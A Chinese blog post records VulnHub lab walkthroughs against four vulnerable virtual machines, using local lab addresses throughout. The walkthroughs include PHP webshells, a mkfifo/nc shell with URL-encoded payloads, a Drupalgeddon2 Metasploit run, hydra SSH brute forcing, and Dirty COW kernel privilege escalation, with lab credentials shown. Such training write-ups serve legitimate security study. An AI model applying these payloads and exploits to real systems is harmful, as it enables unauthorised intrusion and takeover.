Kingkk's Blog.

vulnhub 练习记录

2018/09/13 Share

Node 1

主机探测

先用arp-scan -l或者nmap -sP扫描一下C段进行主机发现

发现主机ip为192.168.85.135

然后利用nmap进行详细扫描

1
nmap -sS -T4 -A -v 192.168.85.135

获取源码

访问下3000端口,是个正常的web服务

查看js文件后可以看到一些api端口,访问一下可以发现一些类似memached的字段

可以试着找一些网站解一下hash

解出tom的密码为spongebob,尝试登录一下

似乎在说需要管理员登录,于是重新看了些api,发现/api/users中可以看到管理员的密码哈希值

还是可以解出,然后登录之后可以下载到一个backup文件,貌似是一些base64值可以尝试解码一下

1
base64 -d myplace.backup > myplace

linux下可以直接看出是一个zip格式文件,尝试解压但似乎需要密码

这时可以用kali下的一个fcrackzip工具尝试爆破密码

然后就可以获得网站源码了

getshell & 提升权限

可以看到是一个nodejs写的网站,在app.js中可以看到一个用户的ssh密码

1
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

于是就直接ssh连接即可

查看一下linux版本是否可以提权

1
2
uname -a
cat /etc/lsb-release

查看下有没有可以提权的脚本

1
searchsploit ubuntu 16.04

挑一个44298.c来试试看

在tmp目录下wget之后,编译运行即可获取到root权限

ch4inrulz

主机探测

依旧用arp-scan -l可以搜索到192.168.85.136的靶机ip

nmap扫一波端口

1
nmap -sS -T4 -A -v 192.168.85.136

可以先尝试把目标放在 808011两个web端口上

功能检测

8011端口会显示一个开发服务

测试了下目录可以发现一个api目录

测试了下这些接口就只有files_api.php可以访问,并且可以通过post file参数进行任意文件读取

80端口一开始似乎就是个静态的页面,后期发现了一个development目录

一开始是需要一个验证的过程,这个哈希密码需要访问index.html.bak中有一个带盐的哈希密码值

将这个密码通过john进行爆破,可以得到原来密码的值

然后就可以通过目录验证,登录到development目录中

尝试着访问下这个uploader的目录,可以看到一个文件上传的功能

测试了上传一个php会对文件后缀进行拦截

但是即使修改了问价后缀也会提示不是图片的格式,感觉应该是代码里检测了文件头

于是就可以用copy命令,在图片后面追加一些数据

1.txt内容如下

1
<?php echo system($_POST[_]); ?>

然后随意找一张图片,在windows下用copy命令

就可以看到文字成功追加到图片后面了

然后就可以成功上传了, 还有一个问题就是不知道文件夹的名字

这里看了别人的writeup发现是用一些关键字进行fuzz爆破目录(感觉脑洞是有点大,就跳了把

上传的文件都在/development/uploader/FRANKuploads/目录下

结合文件包含getshell

虽然这里无法上传一个正常的php文件,但是之前的8011端口还存在一个任意文件包含,于是可以相互结合,执行php代码

这里需要进行一下简单的目录猜测

1
/var/www/development/uploader/FRANKuploads/2.png

可以成功执行命令了

然后就行反弹shell

之前常用的本机监听端口反弹shell命令似乎无法执行。于是选择了另外一中反向连接的弹shell方式。

靶机上

1
2
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

本机上

1
nc -n 192.168.85.136 1567

post传输的时候注意一下url编码几个,然后就可以收到反弹回来的shell

提升权限

更改下成bash的交互式命令行

1
python -c 'import pty;pty.spawn("/bin/bash")'

然后也查看下系统的版本号什么的

于是想试下传说中的脏牛提权(dirty cow)

提权为了防止权限制,需要切换到/tmp目录下,下载好.c文件,然后编译运行

1
gcc -pthread dirty.c -o dirty -lcrypt

然后运行脚本,后面password为想更改的密码,默认账号为firefart

1
./dirty password

尝试ssh连接一下

假如实际渗透中记得将passwd备份文件还原,以免造成原账号的不可用

1
mv /tmp/passwd.bak /etc/passwd

至此就拿下了靶机的root权限

#

Lampião

主机探测

arp-scan -l探测一下靶机ip

可以探测到ip为192.168.85.137,再用nmap扫一波,但是这里有个问题,有一个端口1898端口不是常规端口,需要用nmap进行一次全局扫描

1
nmap -sS -T4 -A -v -p 1-50000 192.168.85.137

80端口就是一个普通的静态页面,目录扫描也没扫到什么

1898端口中运行着一个Drupal服务,重点应该是在这里了

msf getshell

msf搜了一波之后可以看到一个Drupal2018年的exp,于是决定尝试一下

没想的居然就成功了,返回了一个msf 的shell

1
2
3
4
5
use exploit/unix/webapp/drupal_drupalgeddon2 
show options
set RHOST 192.168.85.137
set RPORT 1898
exploit

输入shell之后就可以运行webshell终端了

爆破ssh密码 getshell

先知上看到的别人一个骚操作,在网页上可以看到两个作者,于是便开始尝试爆破他们的ssh密码

把名字添加到username.txt

1
2
echo "tiago" > username.txt
echo "Eder" >> username.txt

然后利用cewl 从网页中尝试生成一份密码字典(这也太叼了把。。学习了

1
cewl -w dict.txt http://192.168.85.137:1898/

然后用传说中的九头蛇hydra进行一下ssh密码爆破

1
hydra -L username.txt -P dict.txt -f -e nsr -t 4 ssh://192.168.85.137

爆破过程有点慢,感觉相当不适合大规模爆破了

然后就可以ssh登录了可以说思路相当清奇了

提升权限

拿到shell之后查看一下版本信息

1
2
3
4
5
6
7
tiago@lampiao:~$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
tiago@lampiao:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"

14.04的,那就脏牛安排一手

1
2
3
4
cd /tmp
scp root@192.168.85.134:/root/dirty.c ./
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

即可成功修改管理员密码,获得root权限

g0rmint

主机探测

先用arp-scan -l查看一下靶机的ip

可以确定是192.168.85.139的ip了,用nmap扫描一波看看开放的端口的信息

1
nmap -sS -T4 -A -v -p 1-50000 192.168.85.139

可以看到一共就开放了两个端口

信息搜集

访问80端口之后发现返回的是404

但是nmap的扫描结果中可以看到一个robots文件,不妨先看一下

访问/g0rmint/页面之后是一个登录界面

尝试一波弱口令无果后,在html源代码中发现了一个奇怪的东西

访问之后依旧是404 就很苦恼了,然后用爆破了一下目录,发现了点东西

1
dirb http://192.168.85.139/g0rmint/s3cretbackupdirect0ry/

里面提示了backup.zip,遂就能下载到源码文件了

代码审计

文件结构

login.php中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include_once('config.php');
if (isset($_POST['submit'])) { // If form is submitted
$email = $_POST['email'];
$pass = md5($_POST['pass']);

$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
$sql->bindParam(":email", $email);
$sql->bindParam(":pass", $pass);
$row = $sql->execute();
$result = $sql->fetch(PDO::FETCH_ASSOC);
if (count($result) > 1) {
session_start();
$_SESSION['username'] = $result['username'];
header('Location: index.php');
exit();
} else {
$log = $email;
$reason = "Failed login attempt detected with email: ";
addlog($log, $reason);
}
}
?>

登录失败的时候会生成一个日志文件addlog($log, $reason);,看下这个addlog的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function addlog($log, $reason) {
$myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
if (file_exists($myFile)) {
$fh = fopen($myFile, 'a');
fwrite($fh, $reason . $log . "<br>\n");
} else {
$fh = fopen($myFile, 'w');
fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
fclose($fh);
$fh = fopen($myFile, 'a');
fwrite($fh, $reason . $log . "<br>\n");
}
fclose($fh);
}

偏偏写在了一个.php的文件中,这样我们的思路就可以尝试在登录邮箱处插入一个php语句,从而任意代码执行

可是在尝试去访问改文件的时候却跳转到了登录界面。

最后发现是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");写入了一个session判断

所以还是得先解决登录的问题。

继续看代码,在db.sql中可以看到一条插入的数据

1
2
INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES
(1, 'demo', 'demo@example.com', 'fe01ce2a7fbac8fafaed7c982a04e229');

解密这个哈希值之后发现是demo

尝试登录一波,发现似乎无法登录,可能是后期改了密码或者怎么,总之应该需要换一条登录的思路了

文件中有一个重置密码的文件reset.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include_once('config.php');
$message = "";
if (isset($_POST['submit'])) { // If form is submitted
$email = $_POST['email'];
$user = $_POST['user'];
$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
$sql->bindParam(":email", $email);
$sql->bindParam(":user", $user);
$row = $sql->execute();
$result = $sql->fetch(PDO::FETCH_ASSOC);
if (count($result) > 1) {
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
$password = md5($password);
$sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
$sql->bindParam(":pass", $password);
$row = $sql->execute();
$message = "A new password has been sent to your email";
} else {
$message = "User not found in our database";
}
}
?>

可以看到,只需要知道一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希

但是,尝试了demo和一些常用邮箱用户名之后,发现似乎并没有这个用户

后面这个思路确实有点骚,问了队友才知道怎么弄,尝试在全部文件中搜索email关键字

可以在一个css文件中看到用户的名字和邮箱

成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值

1
echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20);
1
9997d372a7af4f7a680b

用邮箱和算出的哈希值就能登录到后台中

这时也能成功的访问到生成的log文件了

getshell

这样,我们在登录的时邮箱处插入一条php语句,写入webshell

1
<?php eval($_POST[_]); ?>

然后访问对应的日志,提交post参数即可执行任意php代码

然后将shell弹到我的kali中来

在post中*依次传入

1
2
_=`mkfifo /tmp/t`;
_=`cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t`;

注意url编码

1
2
_=%60mkfifo%20%2ftmp%2ft%60%3B
_=%60cat%20%2ftmp%2ft%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20-l%208888%20%3E%20%2ftmp%2ft%60%3B

第二次post完之后,浏览器会进入阻塞状态,在kali中用nc连接即可

1
nc -n 192.168.85.139 8888

提升权限

接下来就是尝试能不能提权成root,先查看一下版本信息

找一下ubuntu 16.04的提权脚本

挑一个44298来看看,将这个文件移动到/var/www/html目录下之后,在webshell中运行

1
wget http://192.168.85.134/44298.c /tmp/

然而编译的时候一个比较尴尬的事情发生了,没有安装gcc

所以就只能在本地编译后上传了,为防止一些库的差异,我选择了在我另外一台ubuntu 16.04的虚拟机中编译

1
gcc 44298.c -o e

然后还是将这个文件放到www目录,通过wget的方式下载到/tmp目录下

赋予权限,提权

1
2
chmod 777 e
./e

就可以成功提权成为root了

CATALOG
  1. 1. Node 1
    1. 1.1. 主机探测
    2. 1.2. 获取源码
    3. 1.3. getshell & 提升权限
  2. 2. ch4inrulz
    1. 2.1. 主机探测
    2. 2.2. 功能检测
    3. 2.3. 结合文件包含getshell
    4. 2.4. 提升权限
  3. 3. Lampião
    1. 3.1. 主机探测
    2. 3.2. msf getshell
    3. 3.3. 爆破ssh密码 getshell
    4. 3.4. 提升权限
  4. 4. g0rmint
    1. 4.1. 主机探测
    2. 4.2. 信息搜集
    3. 4.3. 代码审计
    4. 4.4. getshell
    5. 4.5. 提升权限